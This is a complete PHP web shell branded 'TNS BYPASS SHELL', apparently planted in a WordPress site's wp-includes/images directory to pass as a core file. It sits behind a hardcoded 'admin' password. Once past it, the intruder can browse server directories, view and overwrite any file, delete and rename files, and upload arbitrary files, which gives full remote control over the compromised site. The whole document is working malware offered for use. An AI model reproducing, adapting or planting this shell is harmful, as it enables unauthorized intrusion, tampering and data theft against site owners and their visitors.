File: /home/richfield/text.pio.richfield-egy.com/wp-includes/images/crystal/g.php
<?php
session_start();
$PASSWORD = 'admin'; // <-- Change your password here
// Handle logout
if (isset($_GET['logout'])) {
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
// Handle login
if (isset($_POST['password'])) {
if ($_POST['password'] === $PASSWORD) {
$_SESSION['logged_in'] = true;
} else {
$error = "Invalid password.";
}
}
// Check login status
if (!isset($_SESSION['logged_in'])) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>The Nexus Squad Bypass Shell</title>
<style>
body {
background: url('https://l.top4top.io/p_3446ttzk11.jpg') no-repeat center center fixed;
background-size: cover;
font-family: Arial, sans-serif;
color: white;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
flex-direction: column;
}
.team {
text-align: center;
font-style: italic;
margin-top: 5px;
margin-bottom: 25px;
color: cyan;
font-size: 2rem;
text-shadow: 1px 1px 5px black;
}
.login-box {
background: rgba(0,0,0,0.7);
padding: 30px;
border-radius: 10px;
border: 2px solid cyan;
text-align: center;
width: 320px;
margin-top: 20px;
}
input[type=password] {
width: 90%;
padding: 10px;
margin: 15px 0;
border: none;
border-radius: 5px;
font-size: 16px;
}
button {
padding: 10px 25px;
background: cyan;
border: none;
font-weight: bold;
cursor: pointer;
border-radius: 5px;
font-size: 16px;
}
p.error {
color: #ff4444;
font-weight: bold;
}
/* Pabilog na umiikot sideway with border */
.spinning-circle {
width: 150px;
height: 150px;
border-radius: 50%;
animation: spinSideways 4s linear infinite;
border: 5px solid red; /* ADD BORDER HERE */
box-shadow: 0 0 15px red; /* Optional glowing effect */
margin-bottom: 15px;
}
@keyframes spinSideways {
from {
transform: rotateY(0deg);
}
to {
transform: rotateY(360deg);
}
}
</style>
</head>
<body>
<img src="https://i.top4top.io/p_3446iwc9o1.jpg" class="spinning-circle" alt="Spinning Circle" />
<h1 class="team">TNS BYPASS SHELL</h1>
<div class="login-box">
<h2>Enter Password</h2>
<!-- Example error message, kung meron error -->
<!-- <?php if (isset($error)) echo '<p class="error">'.$error.'</p>'; ?> -->
<form method="post">
<input type="password" name="password" required autofocus placeholder="Password" />
<br>
<button type="submit">Login</button>
</form>
</div>
</body>
</html>
<?php
exit;
}
// === PHP Shell Logic ===
// Current directory, default to current folder
$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
// Sanitize directory path to prevent directory traversal
$dir = realpath($dir);
if ($dir === false || !is_dir($dir)) {
$dir = '.';
}
// Handle file operations (delete, rename, edit save)
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['delete'])) {
$fileToDelete = $_POST['delete'];
if (file_exists($fileToDelete) && is_file($fileToDelete)) {
unlink($fileToDelete);
echo "<script>alert('File deleted successfully'); window.location.href='?dir=".urlencode($dir)."';</script>";
exit;
}
}
if (isset($_POST['rename']) && isset($_POST['newname'])) {
$oldName = $_POST['rename'];
$newName = $_POST['newname'];
$newPath = dirname($oldName) . DIRECTORY_SEPARATOR . basename($newName);
if (file_exists($oldName)) {
rename($oldName, $newPath);
echo "<script>alert('File renamed successfully'); window.location.href='?dir=".urlencode($dir)."';</script>";
exit;
}
}
if (isset($_POST['editfile']) && isset($_POST['content'])) {
$editFile = $_POST['editfile'];
$content = $_POST['content'];
if (file_exists($editFile) && is_writable($editFile)) {
file_put_contents($editFile, $content);
echo "<script>alert('File saved successfully'); window.location.href='?dir=".urlencode($dir)."';</script>";
exit;
}
}
// Handle file upload
if (isset($_FILES['uploadfile'])) {
$targetPath = $dir . DIRECTORY_SEPARATOR . basename($_FILES['uploadfile']['name']);
if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $targetPath)) {
echo "<script>alert('File uploaded successfully'); window.location.href='?dir=".urlencode($dir)."';</script>";
exit;
} else {
echo "<script>alert('File upload failed');</script>";
}
}
}
// If editing a file, show edit form
if (isset($_GET['edit'])) {
$fileToEdit = $_GET['edit'];
if (file_exists($fileToEdit) && is_file($fileToEdit)) {
$fileContent = htmlspecialchars(file_get_contents($fileToEdit));
?>
<!DOCTYPE html>
<html lang="en">
<head>
<title>Edit File - <?php echo htmlspecialchars(basename($fileToEdit)); ?></title>
<style>
body {
background: url('https://l.top4top.io/p_3446ttzk11.jpg') no-repeat center center fixed;
background-size: cover;
color: white;
font-family: monospace, monospace;
padding: 20px;
margin: 0;
}
textarea {
width: 100%;
height: 500px;
background: rgba(0, 0, 0, 0.9);
color: #00ff00;
border: 1px solid rgba(0, 255, 0, 0.3);
padding: 15px;
font-family: monospace, monospace;
font-size: 15px;
line-height: 1.4;
resize: vertical;
box-sizing: border-box;
outline: none;
overflow: auto;
}
button {
background-color: #0ff;
border: none;
color: black;
padding: 10px 25px;
cursor: pointer;
font-weight: bold;
border-radius: 4px;
margin-top: 10px;
}
a {
color: cyan;
text-decoration: none;
font-weight: bold;
margin-left: 20px;
font-size: 1.1em;
}
a:hover {
text-decoration: underline;
}
h2 {
margin-bottom: 20px;
color: #0ff;
text-shadow: 0 0 8px #00ffff;
}
</style>
</head>
<body>
<h2>Edit File: <?php echo htmlspecialchars(basename($fileToEdit)); ?></h2>
<form method="post" action="">
<textarea name="content" spellcheck="false"><?php echo $fileContent; ?></textarea><br>
<input type="hidden" name="editfile" value="<?php echo htmlspecialchars($fileToEdit); ?>">
<button type="submit">Save</button>
<a href="?dir=<?php echo urlencode(dirname($fileToEdit)); ?>">Back</a>
</form>
</body>
</html>
<?php
exit;
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<title>TNS BYPASS SHELL</title>
<style>
body {
background: url('https://l.top4top.io/p_3446ttzk11.jpg') no-repeat center center fixed;
background-size: cover;
margin: 0;
padding: 0;
font-family: Arial, sans-serif;
color: white;
}
.container {
background: rgba(0, 0, 0, 0.7);
border: 2px solid cyan;
max-width: 900px;
margin: 40px auto;
padding: 20px;
border-radius: 8px;
}
h1 {
color: red;
text-align: center;
margin-top: 0;
margin-bottom: 10px;
font-size: 2.5em;
font-weight: bold;
text-shadow: 0 0 5px red;
}
p.author {
text-align: center;
font-style: italic;
margin-top: 5px;
margin-bottom: 25px;
color: cyan;
}
p.parag {
text-align: center;
font-style: italic;
margin-top: 5px;
margin-bottom: 25px;
color: green;
}
ul.file-list {
list-style: none;
padding-left: 0;
max-height: 400px;
overflow-y: auto;
border: 1px solid cyan;
border-radius: 4px;
background: rgba(20, 20, 20, 0.6);
}
ul.file-list li {
padding: 8px 12px;
border-bottom: 1px solid cyan;
display: flex;
justify-content: space-between;
align-items: center;
}
ul.file-list li:last-child {
border-bottom: none;
}
ul.file-list li a.file, ul.file-list li a.dir {
color: #0ff;
text-decoration: none;
font-weight: bold;
max-width: 60%;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
}
ul.file-list li a.file:hover, ul.file-list li a.dir:hover {
text-decoration: underline;
}
form.inline-form {
margin: 0;
}
form.inline-form input[type="text"] {
background: rgba(255,255,255,0.1);
border: 1px solid cyan;
color: white;
padding: 2px 6px;
border-radius: 3px;
font-size: 0.9em;
width: 120px;
}
form.inline-form button {
background-color: #0ff;
border: none;
color: black;
padding: 4px 10px;
cursor: pointer;
font-weight: bold;
border-radius: 3px;
font-size: 0.9em;
margin-left: 5px;
}
form.upload-form {
margin-top: 15px;
border-top: 1px solid cyan;
padding-top: 15px;
text-align: center;
}
input[type=file] {
background: rgba(255,255,255,0.1);
border: 1px solid cyan;
color: white;
padding: 6px;
border-radius: 3px;
font-size: 1em;
}
.logout {
text-align: right;
margin-bottom: 10px;
}
.logout a {
color: red;
font-weight: bold;
text-decoration: none;
font-size: 1.1em;
}
.logout a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<div class="container">
<div class="logout">
<a href="?logout=1" title="Logout">Logout</a>
</div>
<h1>TNS BYPASS SHELL</h1>
<p class="author">MADE BY 0X.ZH3NN © 2023</p>
<p class="author">You are in: <?php echo htmlspecialchars($dir); ?></p>
<ul class="file-list">
<?php
// List files and directories
$files = scandir($dir);
foreach ($files as $file) {
if ($file === '.') continue;
if ($file === '..') {
// Parent directory link
$parentDir = dirname($dir);
echo '<li><a class="dir" href="?dir='.urlencode($parentDir).'">[..]</a></li>';
continue;
}
$fullPath = $dir . DIRECTORY_SEPARATOR . $file;
$isDir = is_dir($fullPath);
$displayName = htmlspecialchars($file);
echo '<li>';
if ($isDir) {
echo '<a class="dir" href="?dir='.urlencode($fullPath).'">[DIR] '.$displayName.'</a>';
} else {
echo '<a class="file" href="?edit='.urlencode($fullPath).'">'.$displayName.'</a>';
}
if (!$isDir) {
// Delete form
echo '<form class="inline-form" method="post" onsubmit="return confirm(\'Delete this file?\');">';
echo '<input type="hidden" name="delete" value="'.htmlspecialchars($fullPath).'">';
echo '<button type="submit" title="Delete file">DEL</button>';
echo '</form>';
// Rename form
echo '<form class="inline-form" method="post" onsubmit="return this.newname.value.trim()!==\'\'">';
echo '<input type="hidden" name="rename" value="'.htmlspecialchars($fullPath).'">';
echo '<input type="text" name="newname" placeholder="New name">';
echo '<button type="submit" title="Rename file">REN</button>';
echo '</form>';
}
echo '</li>';
}
?>
</ul>
<form class="upload-form" method="post" enctype="multipart/form-data">
<input type="file" name="uploadfile" required>
<button type="submit">Upload File</button>
</form>
</div>
</body>
</html>